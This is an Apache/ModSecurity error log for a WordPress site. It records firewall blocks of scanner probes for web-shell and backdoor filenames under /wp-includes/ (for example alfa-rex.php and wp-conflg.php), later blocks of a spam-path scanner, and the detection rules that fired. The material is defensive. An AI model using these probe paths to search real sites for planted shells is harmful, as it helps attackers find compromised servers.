[Tue May 05 07:51:53.381348 2026] [:error] [pid 53856:tid 53886] [client 45.86.200.60:55147] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "afkxGXG_NPOxSH0O9aRQKAAAAVU"]
[Tue May 05 07:51:55.579202 2026] [:error] [pid 53856:tid 53874] [client 45.86.200.105:42209] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "afkxG3G_NPOxSH0O9aRQeAAAAUk"]
[Tue May 05 07:51:58.106472 2026] [:error] [pid 39071:tid 39101] [client 45.86.200.92:47539] [client 45.86.200.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "afkxHovmnRMz9gRzix3EFAAAABU"]
[Tue May 05 07:51:59.208356 2026] [:error] [pid 39178:tid 39192] [client 45.86.200.81:20117] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "afkxHzaPrgTaiOD_15vYeQAAAMw"]
[Tue May 05 07:52:04.091203 2026] [:error] [pid 39072:tid 39116] [client 45.86.200.109:48745] [client 45.86.200.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "afkxJPolSHl4aAnrIotYMwAAAEk"]
[Tue May 05 07:52:04.629109 2026] [:error] [pid 39178:tid 39192] [client 45.86.200.112:49659] [client 45.86.200.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "afkxJDaPrgTaiOD_15vZCgAAAMw"]
[Tue May 05 07:52:05.178808 2026] [:error] [pid 39071:tid 39087] [client 45.86.200.85:22817] [client 45.86.200.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mer_gagal.php"] [unique_id "afkxJYvmnRMz9gRzix3EgwAAAAc"]
[Tue May 05 07:52:05.715788 2026] [:error] [pid 39072:tid 39108] [client 185.82.72.3:63323] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "afkxJfolSHl4aAnrIotYbgAAAEE"]
[Tue May 05 07:52:07.087549 2026] [:error] [pid 39178:tid 39191] [client 45.86.200.58:42395] [client 45.86.200.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "afkxJzaPrgTaiOD_15vZTQAAAMs"]
[Tue May 05 07:52:07.628386 2026] [:error] [pid 39071:tid 39081] [client 45.86.200.55:30453] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "afkxJ4vmnRMz9gRzix3EqwAAAAE"]
[Tue May 05 07:52:09.609312 2026] [:error] [pid 39072:tid 39114] [client 45.86.200.81:29539] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "afkxKfolSHl4aAnrIotY9QAAAEc"]
[Tue May 05 07:52:11.252170 2026] [:error] [pid 41055:tid 41069] [client 45.86.200.97:43923] [client 45.86.200.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "afkxKyepFwKgA_SKOHg83AAAAQs"]
[Tue May 05 07:52:12.835318 2026] [:error] [pid 41055:tid 41061] [client 45.86.200.101:22815] [client 45.86.200.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "afkxLCepFwKgA_SKOHg9FgAAAQM"]
[Tue May 05 07:52:44.782082 2026] [autoindex:error] [pid 41055:tid 41067] [client 45.86.200.86:29631] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 05 08:41:38.682194 2026] [:error] [pid 39072:tid 39113] [client 139.155.126.16:60630] [client 139.155.126.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afk8wvolSHl4aAnrIouOBgAAAEY"]
[Tue May 05 08:44:24.920061 2026] [:error] [pid 39072:tid 39119] [client 43.135.211.148:53982] [client 43.135.211.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afk9aPolSHl4aAnrIouPQAAAAEw"]
[Tue May 05 09:21:08.211737 2026] [:error] [pid 39071:tid 39093] [client 51.77.216.212:39120] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aflGBIvmnRMz9gRzix3wYgAAAA0"]
[Tue May 05 09:21:11.231351 2026] [:error] [pid 64890:tid 64904] [client 51.77.216.212:54374] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aflGBxyNfxBki939l7eQtQAAAYs"]
[Tue May 05 09:21:13.777048 2026] [:error] [pid 39071:tid 39099] [client 51.77.216.212:41420] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aflGCYvmnRMz9gRzix3waAAAABM"]
[Tue May 05 09:21:17.022900 2026] [:error] [pid 39178:tid 39197] [client 51.77.216.212:41426] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aflGDTaPrgTaiOD_15sbTgAAANE"]
[Tue May 05 09:21:20.022057 2026] [:error] [pid 53856:tid 53865] [client 51.77.216.212:41436] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aflGEHG_NPOxSH0O9aSh4QAAAUA"]
[Tue May 05 09:21:23.020732 2026] [:error] [pid 53856:tid 53886] [client 51.77.216.212:43002] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aflGE3G_NPOxSH0O9aSh6gAAAVU"]
[Tue May 05 09:21:26.404800 2026] [:error] [pid 39072:tid 39115] [client 51.77.216.212:43014] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aflGFvolSHl4aAnrIoumSAAAAEg"]
[Tue May 05 09:21:29.719141 2026] [:error] [pid 39072:tid 39108] [client 51.77.216.212:43022] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aflGGfolSHl4aAnrIoumUwAAAEE"]
[Tue May 05 09:21:32.945783 2026] [:error] [pid 39178:tid 39194] [client 51.77.216.212:36530] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aflGHDaPrgTaiOD_15sbdQAAAM4"]
[Tue May 05 09:21:36.170649 2026] [:error] [pid 39071:tid 39085] [client 51.77.216.212:36534] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aflGIIvmnRMz9gRzix3wdgAAAAU"]
[Tue May 05 09:21:38.752718 2026] [:error] [pid 39071:tid 39096] [client 51.77.216.212:36546] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aflGIovmnRMz9gRzix3weQAAABA"]
[Tue May 05 09:21:41.589850 2026] [:error] [pid 41055:tid 41063] [client 51.77.216.212:36560] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aflGJSepFwKgA_SKOHhpEwAAAQU"]
[Tue May 05 09:21:44.400627 2026] [:error] [pid 39073:tid 39144] [client 51.77.216.212:33818] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aflGKP0kT1BNjk46BkfAYQAAAIo"]
[Tue May 05 09:21:47.526337 2026] [:error] [pid 39072:tid 39113] [client 51.77.216.212:33828] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aflGK_olSHl4aAnrIoumdAAAAEY"]
[Tue May 05 09:21:50.412779 2026] [:error] [pid 39071:tid 39097] [client 51.77.216.212:33844] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aflGLovmnRMz9gRzix3whwAAABE"]
[Tue May 05 09:21:53.489031 2026] [:error] [pid 39178:tid 39192] [client 51.77.216.212:59776] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aflGMTaPrgTaiOD_15sbjAAAAMw"]
[Tue May 05 09:21:56.384824 2026] [:error] [pid 39072:tid 39109] [client 51.77.216.212:59784] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aflGNPolSHl4aAnrIoumgAAAAEI"]
[Tue May 05 09:21:59.627202 2026] [:error] [pid 39178:tid 39194] [client 51.77.216.212:59800] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aflGNzaPrgTaiOD_15sblAAAAM4"]
[Tue May 05 09:22:02.493934 2026] [:error] [pid 39071:tid 39099] [client 51.77.216.212:35964] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aflGOovmnRMz9gRzix3wjwAAABM"]
[Tue May 05 09:22:05.568161 2026] [:error] [pid 39178:tid 39180] [client 51.77.216.212:35980] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aflGPTaPrgTaiOD_15sbpQAAAMA"]
[Tue May 05 09:22:32.998440 2026] [:error] [pid 39178:tid 39186] [client 51.77.216.212:35994] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aflGWDaPrgTaiOD_15sb7gAAAMY"]
[Tue May 05 09:22:36.607937 2026] [:error] [pid 39178:tid 39189] [client 51.77.216.212:40690] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aflGXDaPrgTaiOD_15sb7wAAAMk"]
[Tue May 05 09:22:39.693775 2026] [:error] [pid 64890:tid 64908] [client 51.77.216.212:40692] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aflGXxyNfxBki939l7eQ1AAAAY8"]
[Tue May 05 09:22:42.473298 2026] [:error] [pid 39178:tid 39191] [client 51.77.216.212:56750] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aflGYjaPrgTaiOD_15sb-AAAAMs"]
[Tue May 05 09:22:45.293638 2026] [:error] [pid 64890:tid 64893] [client 51.77.216.212:56762] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aflGZRyNfxBki939l7eQ2AAAAYA"]
[Tue May 05 09:22:48.275365 2026] [:error] [pid 39071:tid 39094] [client 51.77.216.212:56764] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aflGaIvmnRMz9gRzix3w5AAAAA4"]
[Tue May 05 09:22:50.989380 2026] [:error] [pid 53856:tid 53882] [client 51.77.216.212:56774] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aflGanG_NPOxSH0O9aSiMQAAAVE"]
[Tue May 05 09:22:54.170677 2026] [:error] [pid 39178:tid 39194] [client 51.77.216.212:55194] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aflGbjaPrgTaiOD_15scBwAAAM4"]
[Tue May 05 09:22:57.286955 2026] [:error] [pid 39073:tid 39158] [client 51.77.216.212:55210] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aflGcf0kT1BNjk46BkfAfwAAAJg"]
[Tue May 05 09:23:00.491170 2026] [:error] [pid 39073:tid 39141] [client 51.77.216.212:55224] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aflGdP0kT1BNjk46BkfAgQAAAIc"]
[Tue May 05 09:23:03.130427 2026] [:error] [pid 39178:tid 39197] [client 51.77.216.212:42592] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aflGdzaPrgTaiOD_15scFgAAANE"]
[Tue May 05 09:23:05.890666 2026] [:error] [pid 39073:tid 39150] [client 51.77.216.212:42608] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aflGef0kT1BNjk46BkfAhgAAAJA"]
[Tue May 05 09:23:08.643441 2026] [:error] [pid 39072:tid 39126] [client 51.77.216.212:42622] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aflGfPolSHl4aAnrIoumtAAAAFM"]
[Tue May 05 09:23:11.259644 2026] [:error] [pid 39073:tid 39158] [client 51.77.216.212:42628] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aflGf_0kT1BNjk46BkfAiQAAAJg"]
[Tue May 05 09:23:14.071090 2026] [:error] [pid 39178:tid 39204] [client 51.77.216.212:44422] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aflGgjaPrgTaiOD_15scOQAAANg"]
[Tue May 05 09:23:16.767849 2026] [:error] [pid 53856:tid 53888] [client 51.77.216.212:44428] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aflGhHG_NPOxSH0O9aSiOQAAAVc"]
[Tue May 05 09:23:19.970488 2026] [:error] [pid 53856:tid 53866] [client 51.77.216.212:44436] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aflGh3G_NPOxSH0O9aSiPQAAAUE"]
